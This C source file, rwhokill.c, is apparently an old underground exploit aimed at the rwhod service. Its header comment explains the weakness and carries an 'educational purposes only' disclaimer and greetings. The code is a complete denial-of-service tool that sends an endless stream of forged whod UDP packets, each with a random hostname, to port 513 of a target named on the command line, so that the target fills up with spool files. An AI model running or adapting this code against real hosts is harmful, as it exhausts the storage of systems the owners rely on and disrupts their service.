/* 
 *  filename:  rwhokill.c
 *  author:    sygma @undernet
 *  problem:   rwhod uses UDP packtes to pick up whos on a network,
 *             and creates a spool file based upon the packets received.
 *	       You could create mad spool files.. 
 *  fix:       Don't run rwhod :)
 *  notes:     I won't be held reponsible for the missuse most people do
 *             with this stuff.  It's for educational purposes only!
 *  tested on: Linux [slackware]
 *             FreeBSD 2.2.5-Stable    FreeBSD 2.2.6-BETA [aparently patched]
 *             NetBSD 1.2
 *  greets:    B - lub you too :P, saad[too bad you're in if you like it 
 *	       or not], humble, and special thanks to my daddy - tiepilot 
 *	       DaveRT - you da man, n`tropy - who taught me absolutely
 *	       nothing at all, and anyone in snickers and
 *	       innuendo :) - and I can't forget Vallah [who I ripped packets
 *	       from :)]	                                     `_@__
 *
*/
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 

#define MYPORT 513

int i;

//ripped out of headers from a real os

struct  outmp {
        char    out_line[8];            /* tty name */ 
        char    out_name[8];            /* user id */
        long    out_time;               /* time on */
};      

struct  whod {
        char    wd_vers;                /* protocol version # */
        char    wd_type;                /* packet type, see below */
        char    wd_pad[2];
        int     wd_sendtime;            /* time stamp by sender */
        int     wd_recvtime;            /* time stamp applied by receiver */
        char    wd_hostname[32];        /* hosts's name */
        int     wd_loadav[3];           /* load average as in uptime */
        int     wd_boottime;            /* time system booted */
        struct  whoent {
                struct  outmp we_utmp;  /* active tty info */
                int     we_idle;        /* tty idle time */
        } wd_we[1024 / sizeof (struct whoent)];
};


int main(int argc, char *argv[])
{
	int sockfd;
	struct sockaddr_in their_addr; /* connector's address information */
	struct sockaddr_in ours;
	struct hostent *he;
	int numbytes;
	struct whod evil;

	if (argc != 2) {
	    fprintf(stderr,"usage: rwhokill hostname\n");
	    exit(1);
	}

	if ((he=gethostbyname(argv[1])) == NULL) {  /* get the host info */
	    herror("gethostbyname");
	    exit(1);
	}

	if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
	    perror("socket");
	    exit(1);
	}

	their_addr.sin_family = AF_INET;      /* host byte order */
	their_addr.sin_port = htons(MYPORT);  /* short, network byte order */
	their_addr.sin_addr = *((struct in_addr *)he->h_addr);
	bzero(&(their_addr.sin_zero), 8);     /* zero the rest of the struct */

	bzero(&ours,sizeof(struct sockaddr));
	ours.sin_family = AF_INET;      /* host byte order */
	ours.sin_port = htons(MYPORT);  /* short, network byte order */
	bzero(&(ours.sin_zero), 8);     /* zero the rest of the struct */

	bind(sockfd,(struct sockaddr *)&ours,sizeof(struct sockaddr));

	i=0;

	bzero(&evil,sizeof(struct whod));
	
	evil.wd_vers=1;
	evil.wd_type=1;

	while(1)
	{
		for (i=0;i<32;i++)
		{
			evil.wd_hostname[i]=(random()%26)+'A';
		}

		if ((numbytes=sendto(sockfd, &evil, sizeof(struct whod), 0, \
             	(struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1)
		{
			perror("recvfrom");
			exit(1);
        	}

		i++;
		if (i==1000) {printf(".");i=0;}
		// fuck usleep(100);
	}
	close(sockfd);

	return 0;
}
